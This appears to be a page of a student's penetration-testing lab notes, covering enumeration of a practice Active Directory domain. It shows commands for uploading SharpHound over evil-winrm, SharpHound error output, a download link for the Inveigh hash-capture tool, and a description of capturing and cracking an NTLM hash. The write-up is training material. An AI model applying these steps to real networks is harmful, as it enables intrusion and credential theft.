search
LinkedInCPTS

Enum

Lets use Sharphound and Bloodhound. We need to transfer the Sharphound tool to the victim machine.

First we transfer it from our machine to the attack machine using ssh:

scp -r SharpHound.exe  [email protected]:/home/htb-student/Desktop/ad/

Then leveraging evil-winrm session we upload SharpHound from attackbox to MS01:

upload ./SharpHound.exe C:\Users\Administrator\Desktop

I tried running it but ended up with errors:

*Evil-WinRM* PS C:\Users\Administrator\Desktop> ./SharpHound.exe -c All
2024-10-23T20:29:33.4184482-05:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2024-10-23T20:29:33.5746977-05:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2024-10-23T20:29:33.6059524-05:00|INFORMATION|Initializing SharpHound at 8:29 PM on 10/23/2024
2024-10-23T20:29:33.6528747-05:00|WARNING|[CommonLib LDAPUtils]Exception getting LDAP connection for filter (objectclass=domain) and domain INLANEFREIGHT.LOCAL
System.DirectoryServices.ActiveDirectory.ActiveDirectoryOperationException: An operations error occurred.
 ---> System.DirectoryServices.DirectoryServicesCOMException: An operations error occurred.

   at System.DirectoryServices.DirectoryEntry.Bind(Boolean throwIfFail)
   at System.DirectoryServices.DirectoryEntry.Bind()
   at System.DirectoryServices.DirectoryEntry.get_AdsObject()
   at System.DirectoryServices.PropertyValueCollection.PopulateList()
   at System.DirectoryServices.PropertyValueCollection..ctor(DirectoryEntry entry, String propertyName)
   at System.DirectoryServices.PropertyCollection.get_Item(String propertyName)
   at System.DirectoryServices.ActiveDirectory.PropertyManager.GetPropertyValue(DirectoryContext context, DirectoryEntry directoryEntry, String propertyName)
   --- End of inner exception stack trace ---
   at System.DirectoryServices.ActiveDirectory.PropertyManager.GetPropertyValue(DirectoryContext context, DirectoryEntry directoryEntry, String propertyName)
   at System.DirectoryServices.ActiveDirectory.Domain.GetRoleOwner(ActiveDirectoryRole role)
   at System.DirectoryServices.ActiveDirectory.Domain.get_PdcRoleOwner()
   at SharpHoundCommonLib.LDAPUtils.<GetUsableDomainController>d__47.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at SharpHoundCommonLib.LDAPUtils.<CreateLDAPConnection>d__46.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at SharpHoundCommonLib.LDAPUtils.<QueryLDAP>d__34.MoveNext()
2024-10-23T20:29:33.6528747-05:00|ERROR|Unable to connect to LDAP, verify your credentials

Even SharpHound.ps1 didn't work. So instead I downloaded PowerView.ps1 into the MS01.

Even this was giving me errors:

So I had to change evil-winrm and use meterpreter to get a shell this time. Checkout Second Approach in Privilege Escalation.

Now I'll run the PowerView command again:

We are looking at objects that have GenericAll rights to Domain Admins group. Lets turn the SIDs into usernames:

Now lets try to get the password hash for this user. I tried hashdump on meterpreter but it didnt work. So Let's try running Responder or on Windows, inveigh.ps1 to capture some hashes.

For some reason it wouldn't run the capture. I even tried .ps1 but that gave me lots of errors when trying to import into PS. I tried multiple Inveigh.exe files and the one that worked was https://github.com/Kevin-Robertson/Inveigh/releases/download/v2.0.10/Inveigh-net7.0-win-x64-trimmed-single-v2.0.10.ziparrow-up-right

So I ran Inveigh and the capture started and we got an NTLM hash:

Voila we crack it using hashcat:

I also tried cracking the Administrator hash but failed.

PreviousLateral MovementNextCredentials Obtained

Last updated